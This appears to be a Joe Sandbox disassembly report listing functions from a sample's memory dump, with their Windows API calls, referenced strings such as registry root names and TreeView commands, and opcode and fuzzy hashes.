Opcode ID: cebe20edf35fb2722006a10c26cf6694fa6354e5aee99335002513c0954428b4
Instruction ID: 04f64a6ae4eeb10b5e7e1e6d5e079012128f77cbf04e90d1c3db245f5b518083
Opcode Fuzzy Hash: cebe20edf35fb2722006a10c26cf6694fa6354e5aee99335002513c0954428b4
Instruction Fuzzy Hash: C8128E352042019FD714EF14C885A6ABBE6FF88724F14895DF85AAB3A2DB31FC41CB95

Function 0061091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 006109C6
_wcslen.LIBCMT ref: 00610A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00610A54
_wcslen.LIBCMT ref: 00610A8A
_wcslen.LIBCMT ref: 00610B06
_wcslen.LIBCMT ref: 00610B81

Part of subcall function 0059F9F2: _wcslen.LIBCMT ref: 0059F9FD

Part of subcall function 005E2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 005E2BFA

Strings

SELECT, xrefs: 00610D11
EXISTS, xrefs: 00610B7C, 00610B97
GETITEMCOUNT, xrefs: 00610C1E
GETTOTALCOUNT, xrefs: 006109F2, 00610A17
UNCHECK, xrefs: 00610D3E
EXPAND, xrefs: 00610BF8
GETSELECTED, xrefs: 00610C4E
ISCHECKED, xrefs: 00610CE1
GETTEXT, xrefs: 00610C97
CHECK, xrefs: 00610A85, 00610AA0
COLLAPSE, xrefs: 00610B01, 00610B1C

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: f314f4f886dd0f1b9840dbcd365615ebafd3e11f42735eb73347415663a726e9
Instruction ID: 12727c13592bfa47bb62d1c690b276180db379e2d978f1c58d1c868f22e5bd9a
Opcode Fuzzy Hash: f314f4f886dd0f1b9840dbcd365615ebafd3e11f42735eb73347415663a726e9
Instruction Fuzzy Hash: D7E1B2352083429FDB14EF24C4509AABBE2BFD8314F18895CF895AB362D771ED85CB91

Function 0060C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0060B6AE,?,?), ref: 0060C9B5
_wcslen.LIBCMT ref: 0060C9F1
_wcslen.LIBCMT ref: 0060CA68
_wcslen.LIBCMT ref: 0060CA9E
_wcslen.LIBCMT ref: 0060CAF9
_wcslen.LIBCMT ref: 0060CB2F
_wcslen.LIBCMT ref: 0060CB7F

Strings

HKCR, xrefs: 0060CB29, 0060CB2E
HKLM, xrefs: 0060CA98, 0060CA9D
HKEY_CURRENT_CONFIG, xrefs: 0060CB79, 0060CB7E
HKEY_CLASSES_ROOT, xrefs: 0060CAF3, 0060CAF8
HKEY_LOCAL_MACHINE, xrefs: 0060CA62, 0060CA67
HKEY_USERS, xrefs: 0060CBDF
HKCC, xrefs: 0060CBAC
HKEY_CURRENT_USER, xrefs: 0060CBBD
HKCU, xrefs: 0060CBCE
HKU, xrefs: 0060CBF0

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 442389cc6f8b69e296d57421429866377fc19ebce409a31ddfd6ecaa5c3ea819
Instruction ID: 94a2e4b67b7a941f44ea96368e79b8cf0b5e1769c172f73c3da3418ebc3483df
Opcode Fuzzy Hash: 442389cc6f8b69e296d57421429866377fc19ebce409a31ddfd6ecaa5c3ea819
Instruction Fuzzy Hash: 8D71DF3268016A8BCB28DF6CC9515FF3797ABA1770B250628FC56A73C4E731CD4587A0

Function 0061833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0061835A
_wcslen.LIBCMT ref: 0061836E
_wcslen.LIBCMT ref: 00618391
_wcslen.LIBCMT ref: 006183B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 006183F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00615BF2), ref: 0061844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00618487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 006184CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00618501
FreeLibrary.KERNEL32(?), ref: 0061850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0061851D
DestroyIcon.USER32(?,?,?,?,?,00615BF2), ref: 0061852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00618549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00618555

Strings

.exe, xrefs: 00618388
.dll, xrefs: 006183AB
.icl, xrefs: 00618368

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: abeac818287eb15d86be1af1d28f3dfe023766824dd56a18378eaaa756191081
Instruction ID: 56d8671b12fba32884fa710e7ec0e97809b9116c7ce0785a28adf768f237d7e1
Opcode Fuzzy Hash: abeac818287eb15d86be1af1d28f3dfe023766824dd56a18378eaaa756191081
Instruction Fuzzy Hash: 3461BE71540206BEEB149F64CC45BFE7BAABB44721F14460AF815D71D1DFB4A990CBA0

Function 005A00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 005A00C6

Part of subcall function 005A00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0065070C,00000FA0,2BC25189,?,?,?,?,005C23B3,000000FF), ref: 005A011C
Part of subcall function 005A00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,005C23B3,000000FF), ref: 005A0127
Part of subcall function 005A00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,005C23B3,000000FF), ref: 005A0138
Part of subcall function 005A00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 005A014E
Part of subcall function 005A00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 005A015C
Part of subcall function 005A00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 005A016A
Part of subcall function 005A00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 005A0195
Part of subcall function 005A00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 005A01A0

___scrt_fastfail.LIBCMT ref: 005A00E7

Part of subcall function 005A00A3: __onexit.LIBCMT ref: 005A00A9

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 005A0122
SleepConditionVariableCS, xrefs: 005A0154
WakeAllConditionVariable, xrefs: 005A0162
InitializeConditionVariable, xrefs: 005A0148
kernel32.dll, xrefs: 005A0133

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 3544287862e2616f777b9915917791325f938356e89fc16260cae0db49d73841
Instruction ID: 87dc775415d7f963ee5ab9531e2baf363aeeefc8f8b8abfe7cf4b469b90c8f8a
Opcode Fuzzy Hash: 3544287862e2616f777b9915917791325f938356e89fc16260cae0db49d73841
Instruction Fuzzy Hash: C521C932A957116BE7105B64BC0ABED3BA6FF46F61F05552AF801D62D1DB7498008A90

Function 005F44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0061CC08), ref: 005F4527
_wcslen.LIBCMT ref: 005F453B
_wcslen.LIBCMT ref: 005F4599
_wcslen.LIBCMT ref: 005F45F4
_wcslen.LIBCMT ref: 005F463F
_wcslen.LIBCMT ref: 005F46A7

Part of subcall function 0059F9F2: _wcslen.LIBCMT ref: 0059F9FD

GetDriveTypeW.KERNEL32(?,00646BF0,00000061), ref: 005F4743

Strings

network, xrefs: 005F469D, 005F46A2
all, xrefs: 005F4531, 005F4536
removable, xrefs: 005F45EA, 005F45EF
fixed, xrefs: 005F4635, 005F463A
unknown, xrefs: 005F4708
cdrom, xrefs: 005F458F, 005F4594
ramdisk, xrefs: 005F46F1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: ce705a96268b02222835010f72081fe7ae637a2e3c9a82c3d761b389d7aa987b
Instruction ID: 53cdba845f81a5bb86d6d3f4208f855710331347071ecf47649ba48730516c8f
Opcode Fuzzy Hash: ce705a96268b02222835010f72081fe7ae637a2e3c9a82c3d761b389d7aa987b
Instruction Fuzzy Hash: 1FB1EC316083069BC710EF28C890A7BBBE5BFE6720F10491DF696D7291E738D845CB92

Function 00616CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00616DEB

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00616E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00616E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00616E94
DestroyWindow.USER32(?), ref: 00616EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00580000,00000000), ref: 00616EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00616EFD
GetDesktopWindow.USER32 ref: 00616F16
GetWindowRect.USER32(00000000), ref: 00616F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00616F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00616F4D

Part of subcall function 00599944: GetWindowLongW.USER32(?,000000EB), ref: 00599952

Strings

tooltips_class32, xrefs: 00616E58, 00616EDD
0, xrefs: 00616D98

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: e34c11ed6fbafb5f219cb1bd37954f187e8350455f64531893f120be5a481bb7
Instruction ID: 0188eac3c12a7bbcf0a233e65a0f1ef042826dfdbf350a26792ad1cbcbded7ba
Opcode Fuzzy Hash: e34c11ed6fbafb5f219cb1bd37954f187e8350455f64531893f120be5a481bb7
Instruction Fuzzy Hash: 81716778244340AFDB21CF18DC48BEABBFAFB89314F08451EF99997261C770A946CB11

Function 005FC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005FC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 005FC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 005FC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 005FC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 005FC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 005FC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005FC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 005FC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 005FC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 005FC5F0
InternetCloseHandle.WININET(00000000), ref: 005FC5FB

Strings

, xrefs: 005FC575

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 9ef2ddeffddbfdf861fcf6fe21f7e40e604b5faa25325cecd78666196ba4d8a7
Instruction ID: 6a36f685710f0d5df24ba2fd0d49b5b211d0273f703c4f63aa26717583a9b70c
Opcode Fuzzy Hash: 9ef2ddeffddbfdf861fcf6fe21f7e40e604b5faa25325cecd78666196ba4d8a7
Instruction Fuzzy Hash: 92514DB154020DBFDB218F64CA48ABB7FBDFF48754F04842AFA4596250DB78E944DB60

Function 0061856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00618592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185BA
GlobalLock.KERNEL32(00000000), ref: 006185C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185D7
GlobalUnlock.KERNEL32(00000000), ref: 006185E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006185F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0061FC38,?), ref: 00618611
GlobalFree.KERNEL32(00000000), ref: 00618621
GetObjectW.GDI32(?,00000018,?), ref: 00618641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00618671
DeleteObject.GDI32(?), ref: 00618699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 006186AF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 83fd49908f7039d35fb64eb28e8e3fbb6c00d8c5032ae86e7c89fea07bf725e0
Instruction ID: f00efe1d4c7923858e47698833b94bd2f8759ad7d48bd8a0c4e0a561b94d8311
Opcode Fuzzy Hash: 83fd49908f7039d35fb64eb28e8e3fbb6c00d8c5032ae86e7c89fea07bf725e0
Instruction Fuzzy Hash: DE410975640204AFDB119FA5DC48EEE7BBAEF89721F188059F905E7260DB309A41DB60

Function 0060255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 006025D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 006025E8
CreateCompatibleDC.GDI32(?), ref: 006025F4
SelectObject.GDI32(00000000,?), ref: 00602601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0060266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 006026AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 006026D0
SelectObject.GDI32(?,?), ref: 006026D8
DeleteObject.GDI32(?), ref: 006026E1
DeleteDC.GDI32(?), ref: 006026E8
ReleaseDC.USER32(00000000,?), ref: 006026F3

Strings

(, xrefs: 0060268D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 999c2ace51c96f40cc4d7bf45f8190582767a85ae7d357f93c9a021367dc3926
Instruction ID: e14dda0501d117470861a20ffedfb7e4da6c8b3c9e31932dd554ed97235dcc47
Opcode Fuzzy Hash: 999c2ace51c96f40cc4d7bf45f8190582767a85ae7d357f93c9a021367dc3926
Instruction Fuzzy Hash: 13611375D4021AEFCF04CFA4C888AAEBBB6FF48310F24842AE955A7250D371A941CF94

Function 005E4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 005E4994
GetWindowTextW.USER32(?,?,00000400), ref: 005E49DA
_wcslen.LIBCMT ref: 005E49EB
CharUpperBuffW.USER32(?,00000000), ref: 005E49F7
_wcsstr.LIBVCRUNTIME ref: 005E4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 005E4A64
GetWindowTextW.USER32(?,?,00000400), ref: 005E4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 005E4AE6
GetClassNameW.USER32(?,?,00000400), ref: 005E4B20
GetWindowRect.USER32(?,?), ref: 005E4B8B

Strings

ThumbnailClass, xrefs: 005E4A6F, 005E4AF1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: a5bf1fea463bc0b089830f3824352812fe244565a1dc5581e5a0b981cb2b3b30
Instruction ID: fbffe54d966f935fcc76907868a317c4ea0179cee9c181a2505851384ab4f7cc
Opcode Fuzzy Hash: a5bf1fea463bc0b089830f3824352812fe244565a1dc5581e5a0b981cb2b3b30
Instruction Fuzzy Hash: 77919C710042469BDB08DF16C985FAA7BA9FF84314F04846AFDC59A096EB34ED45CFA1

Function 00618D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00599BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00599BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00618D5A
GetFocus.USER32 ref: 00618D6A
GetDlgCtrlID.USER32(00000000), ref: 00618D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00618E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00618ECF
GetMenuItemCount.USER32(?), ref: 00618EEC
GetMenuItemID.USER32(?,00000000), ref: 00618EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00618F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00618F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00618FA1

Strings

0, xrefs: 00618E9F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: f022e7eae950733339f11aba170835e38b7abfe95ee15f8964d9ac3ac9c6ae0c
Instruction ID: 69b339ca4fb7be8f77eea87f6a7be7bd6b0d7c50b3c1cc10456adc054097422c
Opcode Fuzzy Hash: f022e7eae950733339f11aba170835e38b7abfe95ee15f8964d9ac3ac9c6ae0c
Instruction Fuzzy Hash: 4D817C715083019FDB10CF24D884AEBBBEBFB89364F18491EF99597291DB70D981CBA1

Function 0060CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0060CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0060CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0060CD48

Part of subcall function 0060CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0060CCAA
Part of subcall function 0060CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0060CCBD
Part of subcall function 0060CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0060CCCF
Part of subcall function 0060CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0060CD05
Part of subcall function 0060CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0060CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0060CCF3

Strings

RegDeleteKeyExW, xrefs: 0060CCC9
advapi32.dll, xrefs: 0060CCB8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 6baf5dbbcbc6db55785ffb4ed1d4de6ad7a1bd976d14d7210b7f9af151b1e867
Instruction ID: 59b90d05adfef9d636b28194f85803b1cbc3ab60000a4dead34c3a2788f7ec99
Opcode Fuzzy Hash: 6baf5dbbcbc6db55785ffb4ed1d4de6ad7a1bd976d14d7210b7f9af151b1e867
